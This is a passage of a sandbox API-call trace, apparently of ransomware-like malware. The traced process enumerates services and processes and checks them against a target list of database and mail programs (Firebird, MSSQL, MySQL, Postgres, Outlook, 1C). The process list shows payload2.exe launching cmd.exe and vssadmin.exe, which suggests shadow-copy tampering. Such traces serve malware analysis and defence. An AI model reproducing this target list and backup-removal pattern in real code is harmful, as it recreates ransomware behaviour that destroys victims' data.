(lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.257] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.257] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.258] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.258] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.258] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.258] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.258] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.258] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.258] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.258] lstrlenW (lpString="Winmgmt") returned 7 [0044.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.258] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.258] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.258] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.258] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0044.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0044.261] Process32FirstW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.261] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.262] lstrlenW (lpString="System") returned 6 [0044.262] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.262] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.263] lstrlenW (lpString="smss.exe") returned 8 [0044.263] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.263] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.264] lstrlenW (lpString="csrss.exe") returned 9 [0044.264] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.264] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.264] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.264] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.265] lstrlenW (lpString="wininit.exe") returned 11 [0044.265] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.265] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.265] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.266] lstrlenW (lpString="csrss.exe") returned 9 [0044.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.266] lstrlenW (lpString="winlogon.exe") returned 12 [0044.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.267] lstrlenW (lpString="services.exe") returned 12 [0044.267] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.268] lstrlenW (lpString="lsass.exe") returned 9 [0044.268] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.268] lstrlenW (lpString="lsm.exe") returned 7 [0044.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.269] lstrlenW (lpString="svchost.exe") returned 11 [0044.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.270] lstrlenW (lpString="svchost.exe") returned 11 [0044.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.270] lstrlenW (lpString="svchost.exe") returned 11 [0044.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.271] lstrlenW (lpString="svchost.exe") returned 11 [0044.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.272] lstrlenW (lpString="svchost.exe") returned 11 [0044.272] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.273] lstrlenW (lpString="audiodg.exe") returned 11 [0044.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.273] lstrlenW (lpString="svchost.exe") returned 11 [0044.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.274] lstrlenW (lpString="svchost.exe") returned 11 [0044.274] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.275] lstrlenW (lpString="dwm.exe") returned 7 [0044.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.275] lstrlenW (lpString="explorer.exe") returned 12 [0044.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.276] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.276] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.277] lstrlenW (lpString="taskhost.exe") returned 12 [0044.277] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.277] lstrlenW (lpString="svchost.exe") returned 11 [0044.277] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.278] lstrlenW (lpString="taskeng.exe") returned 11 [0044.278] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.279] lstrlenW (lpString="taskhost.exe") returned 12 [0044.279] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0044.279] lstrlenW (lpString="presidential.exe") returned 16 [0044.279] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0044.280] lstrlenW (lpString="ol-filing.exe") returned 13 [0044.280] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0044.281] lstrlenW (lpString="overcome.exe") returned 12 [0044.281] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0044.281] lstrlenW (lpString="declinedreferral.exe") returned 20 [0044.281] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0044.282] lstrlenW (lpString="franciscotrack.exe") returned 18 [0044.282] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0044.283] lstrlenW (lpString="nicholas.exe") returned 12 [0044.283] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0044.606] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0044.607] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0044.607] lstrlenW (lpString="word.exe") returned 8 [0044.607] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0044.608] lstrlenW (lpString="semestermeta.exe") returned 16 [0044.608] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0044.609] lstrlenW (lpString="reflects.exe") returned 12 [0044.609] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0044.609] lstrlenW (lpString="beveragesradios.exe") returned 19 [0044.609] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0044.610] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0044.610] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0044.611] lstrlenW (lpString="ground.exe") returned 10 [0044.611] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0044.612] lstrlenW (lpString="least.exe") returned 9 [0044.612] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0044.613] lstrlenW (lpString="meetings.exe") returned 12 [0044.613] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0044.613] lstrlenW (lpString="wooltestimony.exe") returned 17 [0044.614] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0044.614] lstrlenW (lpString="inexpensive.exe") returned 15 [0044.614] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0044.615] lstrlenW (lpString="er-amd.exe") returned 10 [0044.615] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0044.615] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0044.616] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.616] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.616] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0044.617] lstrlenW (lpString="mobsync.exe") returned 11 [0044.617] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0044.618] lstrlenW (lpString="payload2.exe") returned 12 [0044.618] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.618] lstrlenW (lpString="cmd.exe") returned 7 [0044.618] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.619] lstrlenW (lpString="conhost.exe") returned 11 [0044.619] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.620] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.620] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.620] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.620] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.621] lstrlenW (lpString="svchost.exe") returned 11 [0044.621] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0044.622] CloseHandle (hObject=0x21c) returned 1 [0044.622] Sleep (dwMilliseconds=0x1f4) [0045.313] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fad8 [0045.313] EnumServicesStatusExW (in: hSCManager=0x29fad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0045.314] GetLastError () returned 0xea [0045.314] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0045.314] EnumServicesStatusExW (in: hSCManager=0x29fad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0045.315] CloseServiceHandle (hSCObject=0x29fad8) returned 1 [0045.315] lstrlenW (lpString="Appinfo") returned 7 [0045.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.315] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 